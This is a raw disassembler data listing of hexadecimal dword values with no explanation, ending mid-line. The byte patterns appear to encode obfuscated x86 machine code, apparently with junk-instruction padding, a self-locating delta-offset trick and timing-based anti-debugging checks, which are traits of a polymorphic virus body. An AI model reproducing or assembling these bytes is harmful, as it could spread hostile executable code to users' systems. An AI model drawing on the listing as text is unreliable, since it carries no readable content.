5FC35F20h, 4247C89h, 4244481h, 16h, 0C3C35747h dd 8D0F5685h, 16h, 11E9h, 43761600h, 0BF017F5Eh, 3E7CA423h dd 733DC2B6h, 880F78DDh, 6, 5A9BD8Bh, 0D1FF05E7h, 2DB58960h dd 6105E72Ch, 2B8DBD83h, 0F0105E7h, 8E85h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 917F6E99h, 0C000CEC7h, 6A026Ah, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 0CF4877C3h, 3F0CA72Ah dd 0A84DE381h, 66511A8Eh, 4E82EF81h, 14E9905Bh, 9A000000h dd 27739F6Ch, 0D4DFC88Eh, 48B78CF5h, 2CF0958Fh, 503502C5h dd 35858990h, 8905E720h, 0E72CF1BDh, 0BD95FF05h, 0F05E71Ah dd 682h, 559D8B00h, 0E905E70Ah, 0E0Ah, 0E8h, 0ED815D00h dd 5EC07CCh, 0BDF78166h, 52006A1Dh, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 0BD8B57E9h, 5E7272Dh dd 0E381665Bh, 858D802Eh, 5EA90FDh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 57C35141h, 0F00CEA6Ch, 0C306BD1Dh dd 11E91Fh, 84100000h, 0EE3F3407h, 8E36A33Bh, 8CC12069h dd 29B111A3h, 0E71C79BDh, 12E89005h, 47000000h, 49A384ECh dd 1DA23BBFh, 695F9167h, 2DA00307h, 2870FB3h, 60000000h dd 8B505B61h, 0FF6490DFh, 35h, 0B1BD8900h, 6005E729h, 2B4CF780h dd 0E7175185h, 89646105h, 25h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 6CA93B9Ch dd 0FCC0C0D4h, 0FFF93D65h, 0E714FD85h, 57006A05h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 6953755Ch, 81709FF3h, 3C2E99CFh, 89FF6A32h, 0E71CC185h dd 29B5FF05h, 6A05E72Ah, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 8417C351h, 1BD5E16Ch dd 0B70F91B7h, 5195FFF9h, 0E905E704h, 13Dh, 1D298D89h dd 0F78105E7h, 7786AE8Ah, 0FA8B00B0h, 71E470E6h, 0F613CF8h dd 12083h, 6D9D8B00h, 0F05E718h, 7BB3C8B6h, 6BAh, 759D3300h dd 8B05E727h, 0A94DBFC1h, 0BD8B7BB0h, 5E71A51h, 3104E8C1h dd 0E722559Dh, 0E2F76605h, 91BD8B56h, 5B05E712h, 0B9BD8B50h dd 5B05E721h, 9D33C82Bh, 5E705E5h, 168E0Fh, 11E90000h dd 4C000000h, 39036E15h, 0C250B991h, 0B5A0FB47h, 3B526818h dd 8960D18Bh, 0E709D985h, 0AEE96105h, 0F9000000h, 4E49858Bh dd 0CB814400h, 285ECF61h, 6007C083h, 0C01B58Bh, 6E805E7h dd 0A1000000h, 0D855DF4Fh, 58595352h, 0C08361h, 11E9h dd 0C6893100h, 85E9BBADh, 0EBF7F614h, 0B9D7381Eh, 830F0DEEh dd 1Fh, 13E8h, 652A4500h, 4F930C5Bh, 0D54F7791h, 666FB759h dd 56B2BB80h, 860Fh, 3B5F0000h, 7830FD0h, 8B000000h, 3BE9DFh dd 8D8B0000h, 0FFFFFFFFh, 48A5CB81h, 0E1835AB9h, 26840F01h dd 89000000h, 0E70CD1BDh, 0FFA58305h, 0FEFFFFFFh, 4820Fh dd 0BB660000h, 9589514Bh, 44004E49h, 49DBBF66h, 0E9h, 2DB58D00h dd 0BB05EB84h, 5ADE2DE5h, 0F88B006Ah, 21C195FFh, 6A05E7h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 784F04C3h, 0A2A307C9h, 6800Fh, 0DF810000h, 1241E918h dd 100FB9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1A04h, 0C3534300h, 0BDA0F35Ch, 0E93E312Bh, 14h, 0E379EAA3h dd 529F4505h, 3554C198h, 59662652h, 551BC3A2h, 3850Fh dd 0BF0F0000h, 0FCE183FAh, 0FCDAB70Fh, 12819D33h, 0B805E7h dd 66000000h, 35BCE781h, 6AD22Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 150424h, 53430000h, 0AD9EA3C3h, 0E8D1C233h dd 0E983D003h, 6AF47504h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 6ED2C355h, 71285E82h dd 0C9A501E5h, 0C8D0Fh, 8F0F0000h, 6, 1711BD33h, 5E805E7h dd 88000000h, 0B3D5C9E6h, 8E960h, 598D0000h, 0B619FD3Fh dd 890F2B3Bh, 0 aAI db 'a[',0Dh,'ˆ',0 db 2 dup(0), 6Ah dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 0C5A6C353h, 0DE8BEEA4h, 0CBF38166h, 0A9958B5Ah dd 2905E71Ah, 0E7117195h, 4D8D8B05h, 6A05E72Ah, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 7A30C351h, 0F12FA7A3h, 8942210Ch, 0E712ED9Dh, 0F5858905h dd 5005E728h, 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h dd 0A810F58h, 0F000000h, 48Dh, 50BB6600h, 65BD8304h, 5E718h dd 6C840Fh, 89530000h, 0E70B419Dh, 0B85F05h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 8F78C356h, 80ABF66h, 8D8DADB3h, 5E74D24h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0A8C35343h dd 2856D165h, 90837839h, 5E9h, 391C300h, 0E1FF55CAh, 21A59589h dd 0BD8305E7h, 5E72739h, 6F840F00h, 89000004h, 0E70BC195h dd 7E905h, 318B0000h, 3FA4349Eh, 39BD839Eh, 105E727h, 46B840Fh dd 0C3800000h, 39BD8372h, 305E727h, 425860Fh, 8A600000h dd 5E9DAh, 2AF90000h, 61167021h, 52006A60h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 5766CB7Ah dd 8C665FFCh, 52006AD9h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1804h, 0C3524200h, 43A380Bh, 0C78166B7h, 0E1800DCBh dd 51006A04h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 0AD95019Eh, 0A05E732h, 5840FC9h, 6A000001h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 15C0C351h, 0BD897F3Ah, 5E721FDh, 8B43EF80h dd 0E7069985h, 0DF816605h, 85331980h, 5E71309h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0EC35747h, 0BD858946h dd 5005E721h, 94D8DABFh, 2404892Eh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 65C35747h, 7A30867Ah, 602FA7A3h dd 28A0Fh, 0B1B10000h, 0BD8961F8h, 5E70A19h, 0BD31006Ah dd 5E704A9h, 0AE8h, 0B347CA00h, 0BEB36144h, 899FA3F2h dd 0E711A5B5h, 0DF685B05h, 8BA54C81h, 240481D9h, 5AD28220h dd 7EC78166h, 7195FFEDh, 8905E71Bh, 0E72D5D8Dh, 46858905h dd 0F805EAA6h, 226E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1B04h, 0C3554500h, 0C6A38BF4h, 0EF065117h dd 0A63E858Bh, 6A05EAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 0DB51B2C3h, 880F0E09h, 6, 24819D8Bh dd 0C705E7h, 18h, 0F860F960h, 0FF2EEB81h, 61610203h, 0A642B58Bh dd 0BD8905EAh, 5E70C69h, 3289858Bh, 6A05E7h, 3E850h, 58200000h dd 448958C3h, 44810424h, 180424h, 50400000h, 0A8C64AC3h dd 9D0B56DBh, 5E72F4Dh, 6A0689h, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 17CC5CC3h, 75BD0907h dd 8B05E71Dh, 0E7069985h, 56006A05h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 0FEF64D26h dd 0EAD682B6h, 4689D6DEh, 158D0104h, 5005E702h, 348900B3h dd 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 4C8BFFB1h, 3F942A4Ah, 8F0FD08Eh, 0 dd 0C8C0Fh, 890F0000h, 6, 2BD19D89h, 0B5FF05E7h, 5EAA63Eh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 34C35141h dd 4F709B2h, 60512692h, 0A79AD181h, 0BA666024h, 5B611410h dd 0E820C380h, 4, 1F03FFh, 0EE9h, 588E3700h, 90A4DF2h dd 19DAAD3Fh, 50C28915h, 6DBB6657h, 448B5BE3h, 0BF660424h dd 8BE0A2h, 89D88B66h, 66042444h, 6A58DA8Bh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 106BC353h, 16199D1Dh, 0CB76AE39h, 0A646858Dh, 5E905EAh dd 75000000h, 13FBF88Fh, 68B0F90h, 50000000h, 5A310F52h dd 50515058h, 0F5B5352h, 5A5B5131h, 6A905F58h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 0FF84C351h, 0E71B7195h, 0F59D8B05h, 6105E701h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 2FC35747h, 7BB15F29h dd 0C7D88B34h, 0E7273985h, 305h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 14E91A31h dd 51000000h, 3A89BD5Eh, 957DD5FBh, 0E5C24E66h, 0A7638954h dd 83AE566Fh, 0EAA646BDh, 840F0005h, 27h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 17h, 40C35646h, 0E97AC70Dh dd 1Eh, 50D8B70Fh, 110C30h, 0C1011144h, 443010E8h, 4C000211h dd 83580311h, 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h dd 0EBE775h, 9509C08Bh, 5E70A39h, 0F28B6660h, 118D8B60h dd 8B05E727h, 0E717799Dh, 83616105h, 0E72739BDh, 850F0305h dd 43Fh, 1471BD2Bh, 0BD8305E7h, 5EAA646h, 2C840F00h, 8B000004h dd 0E72C559Dh, 46B5FF05h, 6A05EAA6h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 6E18C355h dd 0C30D0488h, 9D89AE2Ch, 5E71B59h, 11E9h, 0D51E7E00h dd 5649D822h, 4E35A8D0h, 0C4B23157h, 95FF5AB0h, 5E70219h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 8AC35646h dd 0AE6F4F31h, 8D89868Ch, 5E705B1h, 0A63AB58Bh, 6A05EAh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 0AC7ACBC3h, 330E5E6h, 0AE8725Bh, 4C000000h, 7D12DA9Ch dd 0BC9E29BCh, 19D29C0h, 5B05E733h, 106C7h, 9D890001h dd 5E71C61h, 0C18D2360h, 6105E712h, 50525050h, 49BF6652h dd 5A310FE5h, 0F310F58h, 28Dh, 5AFA8B00h, 24348958h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 47C35747h, 4A9B64C9h dd 0B9B9BF66h, 6890Fh, 0B5890000h, 5E73319h, 0A646B5FFh dd 6A05EAh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 0B70FAAC3h, 3195FFDAh, 6A05E700h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h dd 4FC7C353h, 35F78125h, 891A3B52h, 0E71C0D8Dh, 6A36BF05h dd 0B58B2D52h, 5EAA63Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 0CAC35646h, 6C75E7h, 79F9BB3Eh, 858B21F8h dd 5E7187Dh, 19D5BD8Bh, 7E805E7h, 17000000h, 5A4BF58Dh dd 0BB6651D8h, 895F3937h, 0C486h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 958B303Bh dd 5E71AA9h, 11E9h, 0E2C54C00h, 0D6C5085Eh, 0E1EC52CBh dd 0E517CA55h, 0C283B797h, 69B58904h, 8905E72Dh, 6A2050h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 0A5E7BAC3h, 0EB821D5Fh, 8D89967Bh, 0EABAC385h, 51006A05h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 80ECF0D5h, 868963CFh, 0B8h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 0B1C35141h, 0D2B097Eh, 24559501h dd 890F05E7h, 0 dd 0EE9006Ah, 2B000000h, 18ACB4BDh, 0A44A8ED9h, 7FD81845h dd 0CABB66DBh, 46B5FF3Ch, 6A05EAA6h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0A59DC355h dd 3BAB119Dh, 1ABD95FFh, 0B58905E7h, 5E7205Dh, 50F88A96h dd 66965F52h, 0FF94C0BFh, 0EAA646B5h, 51006A05h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 49AD3C7Ah, 3527C051h, 8B0FE743h, 2, 95FFDA8Bh, 5E70779h dd 835FF551h, 0E72D0DBDh, 840F0005h, 2Fh, 82D9D8Bh, 669605E7h dd 0BF50DF8Bh, 29E87EBAh, 56006A96h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 0FFFC190Bh dd 0EAA646B5h, 0E5BD8B05h, 0FF05E725h, 0E7243595h, 55006A05h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 93592911h, 0D05E3A6Ah, 0B5FFD98Bh, 5EAA646h, 124EBB66h dd 76D95FFh, 816605E7h, 832FECE7h, 0E72D85BDh, 840F0205h dd 6Fh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h dd 5BC35040h, 0F1A4944h, 89h, 85858B00h, 6A05E711h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 0A340C357h, 6A0000C6h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 0E1E7C357h, 5902C13Eh dd 0C7EB2706h, 0E7231985h, 5, 0B9E78100h, 0E923457Ah, 0FFFFF339h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0D1C35646h dd 8A0F19A5h, 0 dd 0BF66C18Bh, 858D0367h, 5E71395h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 0EAC35747h, 6F669453h, 0F3DB5DFh dd 5050FEBFh, 0FFD8A52h, 890F6031h, 0 dd 5A616160h, 24048958h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 0F9C35343h, 93C59F6Eh, 32F19D8Bh, 0BD2905E7h dd 5E72B15h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 8078CCC3h, 0BF6648D7h, 6ACD81h dd 2BFAB70Fh, 0E71999BDh, 95858D05h, 6A05EC17h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 43A1C350h, 31539233h, 0E705D18Dh, 0C0835F05h, 50FB8B05h dd 48910B3h, 6D958924h, 6A05E728h, 0D98B6600h, 95FF006Ah dd 5E71A4Dh, 18919D8Bh, 8D8D05E7h, 5EAA4AAh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0FFC35545h, 89175F1Fh dd 0E701F5B5h, 6AD1FF05h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 1715C357h, 2E66F5D6h dd 0CC7C72B6h, 2B8DBD83h, 0F0105E7h, 7585h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 0B0D89347h, 79BD0B8Eh, 0F05E727h, 0A2BFDFBFh, 6A5E6104h dd 52006A02h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 8B668748h, 0BA6660DAh, 0C88B0E96h, 0DD8A9061h dd 60605350h, 905F6161h, 0A218509h, 95FF05E7h, 5E71ABDh dd 6590D781h, 0BFE9307Ch, 0E800000Ch, 0 dd 9FED815Dh, 3105EC17h, 0E702699Dh, 8E905h, 7BA60000h dd 4888C2C3h, 0AE8FD76h, 0B000000h, 699BB7Dh, 26EEF067h dd 8E80Ah, 0E7720000h, 0CE4B396Dh, 0CB81887Ch, 72B277F6h dd 858D5B5Fh, 5EA90FDh, 0C840Fh, 800F0000h, 6, 860Fh, 50500000h dd 0F83B352h, 8B666031h, 0C68B66D0h, 89585A61h, 6A2404h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 6A111AC3h, 0D8EF32E0h, 0B73BB3CCh, 35FF640Bh, 0 dd 2F11BD8Bh, 896405E7h, 25h, 659D0100h, 0FF05E702h, 0E714FD85h dd 57006A05h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 4746D054h, 89511B3Fh, 0E708C9BDh, 0D9EF8005h dd 0B70FFF6Ah, 0F1B5FFDAh, 0F05E72Ah, 589h, 9F43BF00h dd 95FF3C1Eh, 5E70451h, 0F6E9h, 0F2BB6600h, 0FE908h, 25D30000h dd 55D63781h, 0F7C98899h, 0FAC23544h, 0E600B00Ch, 7BBF6670h dd 8A71E483h, 6840FDCh, 33000000h, 0E70C599Dh, 0F613C05h dd 0BE83h, 0FDA8B00h, 8956C8B6h, 0E7237D85h, 6BA5B05h dd 66000000h, 0A20BD381h, 9531C18Bh, 5E70E75h, 0F904E8C1h dd 52E2F766h, 85B58960h, 2B05E700h, 0E72A8185h, 2B5F6105h dd 73DF81C8h, 8B19213Fh, 0D88B66D1h, 76E9h, 0A6ACBF00h dd 858B30B7h, 505F4C4Ch, 12C99D8Bh, 0C08305E7h, 1860F07h dd 0F9000000h, 0C0835FB3h, 0C99D8B00h, 3B05E719h, 14830FD0h dd 66000000h, 0D631D781h, 0E9FFB70Fh, 3Bh, 75CDBF57h, 8B5B05FFh dd 0FFFFFF8Dh, 52D381FFh, 8330F35Fh, 840F01E1h, 1Fh, 83FA8B66h dd 0FFFFFFA5h, 0BF66FEFFh, 95891167h, 505F4C4Ch, 2B359509h dd 0E905E7h, 8D000000h, 0EB943CB5h, 13E805h, 3C9D0000h dd 3E6C0B1Eh, 3E7C8A6h, 21A6D9C0h, 4731F214h, 61B501E0h dd 5F05E72Dh, 6830Fh, 85310000h, 5E70B21h, 6A006Ah, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 0FF1E8FC3h, 0E721C195h, 959D8B05h, 0F05E719h, 0C8Bh dd 68C0F00h, 89000000h, 0E70129B5h, 10D8B905h, 0E1830000h dd 50006AFCh, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 0B4F2E98Eh, 65BD890Bh, 0FC05E725h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 63C35646h, 200DBB01h dd 20ED1585h, 0E9C02BA5h, 12h, 43D987C1h, 47A0DDABh, 3252A9E9h dd 55A05B79h, 0D22BDF83h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 2EC35141h, 9642C765h, 0ADF1DDC2h, 0E8D1C233h dd 0E983D003h, 8AF47504h, 57006ADCh, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 7AB7D7Bh, 19BD89A5h dd 0D05E714h, 88h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 19h, 37C35343h, 51640F48h, 8D853115h, 8B05E715h dd 0E71AA995h, 28E0F05h, 0B7000000h, 4D8D8B25h, 6A05E72Ah dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 0D5C352h, 1E7EECC1h, 1BC781D5h, 503BB9A0h dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 1BD8958h dd 6A05E727h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 146CC357h, 0A2F06B9Fh, 1865BD83h dd 0F0005E7h, 6B84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 0BD8B93FFh, 5E70AC1h dd 0B8h, 0DF8B6000h, 0AD9D2961h, 8D05E71Fh, 0E74D248Dh dd 2D9D8905h, 8905E72Ah, 0E70C698Dh, 6AE1FF05h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 0E094C350h, 24F922BCh, 0E6CCBD33h, 2739BD83h, 0F0005E7h dd 39A84h, 0FAB70F00h, 2739BD83h, 0F0105E7h, 3A584h, 83DE8B00h dd 0E72739BDh, 860F0305h, 360h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 80C35141h, 24384504h, 18682E40h dd 84B8BFA5h, 8B607B1Ch, 0E721E99Dh, 0D98C6605h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0BBC35545h, 3C2C1963h dd 2F86C39Fh, 0BBA3B7E6h, 54E46E06h, 8004E180h, 0C90A3AC3h dd 120840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 275EFBC3h, 5E9F3h, 1C450000h, 8B599F12h dd 0E7069985h, 0EF816605h, 8533D7A7h, 5E71309h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0FC35545h, 0E5D74489h dd 9B88E57h, 0E71771B5h, 6FC1BB05h, 0BB507034h, 0C5D008Eh dd 6A240489h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 4995C357h, 0ADCA6BE9h, 72CB80F7h dd 7968006Ah, 0BF65F9F9h, 68A7539Dh, 86243481h, 0FC65E6FAh dd 1B7195FFh, 6A05E7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 0E8EF42C3h, 10E960h, 0B3150000h dd 0DFBC2B92h, 9F8B50B8h, 0B7F46D58h, 890F91A0h, 6, 8D0Fh dd 89610000h, 0EAA64685h, 55006A05h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 0E9E93390h dd 16Eh, 7BC2EF81h, 858B3BA4h, 5EAA63Eh, 25D9D8Bh, 0B58905E7h dd 5E732D5h, 1800C7h, 8D010000h, 5E707B1h, 0A642B58Bh dd 0DA8B05EAh, 3289858Bh, 816605E7h, 89737DDBh, 890F6006h dd 5, 0C9D08166h, 89B531A4h, 6105E713h, 699858Bh, 6A05E7h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 0E2A1CAC3h, 35FA25E2h, 0CE918h, 0F9E90000h, 69C902D1h dd 5B778DD9h, 4689FE76h, 52006A04h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 518D89CDh, 8B05E71Bh dd 0E70AB1BDh, 8B669605h, 0BB6650D9h, 0F9604D8h, 0B5FFD9B7h dd 5EAA63Eh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 13C35141h, 0E5B71FA7h, 0BDE9BB66h, 4E8h, 1F03FF00h dd 5079B300h, 424448Bh, 0E8C38B60h, 7, 0B7AD8A10h, 0B8D9B563h dd 2A4C05CAh, 8B615Bh, 0AE9h, 30867A00h, 2FA7A37Ah, 89210CF1h dd 58042444h, 1CBD9D33h, 0CB8105E7h, 63304395h, 0A646858Dh dd 0BB6605EAh, 8950CCDCh, 9D332404h, 5E72461h, 1B7195FFh dd 6A05E7h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 0E7669CC3h, 0A5ABD381h, 0E96140E1h, 14h dd 2AD753BBh, 1553219Fh, 5A83BA4Bh, 6137C2E0h, 41D1365Ch dd 273985C7h, 305E7h, 9D8B0000h, 5E70B35h, 0A646BD83h dd 0F0005EAh, 3384h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 198D936Ah, 0DABF0F26h dd 29E5BD8Bh, 20E905E7h, 66000000h, 962EEB81h, 110C3050h dd 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 9683C357h, 51006AC1h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1604h, 0C3514100h, 83BBE64Ah, 0E72739BDh, 850F0305h dd 3FFh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ah, 0B3C35343h, 7123FAC3h, 0EE995EEh, 7F000000h, 3EEB702h dd 0C88842B9h dd 1E515F89h, 46BD8306h, 5EAA6h, 3BD840Fh, 9D0B0000h, 5E717D9h dd 0A646B5FFh, 0BF0F05EAh, 1995FFFAh, 8105E702h, 7699F5F3h dd 3AB58B50h, 0E905EAA6h, 0Bh, 5C350607h, 8970DA4Ah, 0C73BDA17h dd 1000106h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1804h, 0C3534300h, 0A21D3FB9h, 0C59589DFh, 0E905E722h dd 11h, 0FB799249h, 0FD60C4E2h, 0DBCCE004h, 5100C53Ah dd 8B6650B9h, 243489FEh, 0FF19EB80h, 0EAA646B5h, 31BD8905h dd 0FF05E70Ah, 0E7003195h, 51006A05h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 299A3A6Eh dd 8001A8DCh, 0CF81D5D3h, 78E03857h, 0A63AB58Bh, 9D8B05EAh dd 5E72915h, 0A8F0Fh, 870F0000h, 4, 5131BB66h, 187D858Bh dd 6A05E7h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h dd 50400000h, 565E08C3h, 0F5A368CFh, 38E0Fh, 0BF0F0000h dd 0C48689D8h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 0B583C351h, 0E20B6479h dd 44413BB4h, 958B67B7h, 5E71AA9h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 1C35343h, 4B9B531h, 0C28305E7h dd 13E904h, 0FEAB0000h, 2DDD8611h, 42A7600Eh, 6787AF36h dd 0DF1DCA3Bh, 20508953h, 8E8h, 75830B00h, 91052710h, 2995896Dh dd 5B05E717h, 6E9h, 8D036200h, 8D8C1809h, 0EABAC385h, 6E805h dd 0A41D0000h, 0CB47D2C6h, 0D42EBEBFh, 0BE95F56h, 0E2000000h dd 8DCFA161h, 5599F81Dh, 86893232h, 0B8h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 16h, 86C35040h, 0FE8BB1A4h dd 2CF59D8Bh, 6A05E7h, 0FFFA8B66h, 0EAA646B5h, 50006A05h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 0D54B1EFCh, 0BD8B234Dh, 5E7251Dh, 1ABD95FFh, 8C0F05E7h dd 3, 50DBB70Fh, 0EE9h, 0DEB83D00h, 40EBF114h, 20AA096Fh dd 89222BB8h, 85892434h, 5E7274Dh, 0A646B5FFh, 6A05EAh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 0E9F74EC3h, 0Eh, 0F841678Dh, 0D2376DADh, 285E826Eh dd 95FFE571h, 5E70779h, 225DB531h, 0BD8305E7h, 5E72D0Dh dd 33840F00h, 0BB000000h, 480BD903h, 8B525050h, 66310FF8h dd 5A4ACCBFh, 24348958h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 15C35343h, 0B5FF37E0h, 5EAA646h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 8C35343h, 0EB5660Ah dd 0FF4770F8h, 0E7243595h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 0BB665004h dd 0B5FF8775h, 5EAA646h, 13459D8Bh, 95FF05E7h, 5E7076Dh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 52C35343h dd 0B68BB95Ah, 85BD83D5h, 205E72Dh, 54840Fh, 0E9570000h dd 14h, 0B2053E3Dh, 98BBF630h, 249BCEB0h, 0EC226185h, 15F3BFD1h dd 85858B5Fh, 6005E711h, 0F081F18Bh, 41CE71Eh, 0C6F861h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 22069AA9h, 2C39BD33h, 85C705E7h, 5E72319h dd 0 dd 0E9FEB70Fh, 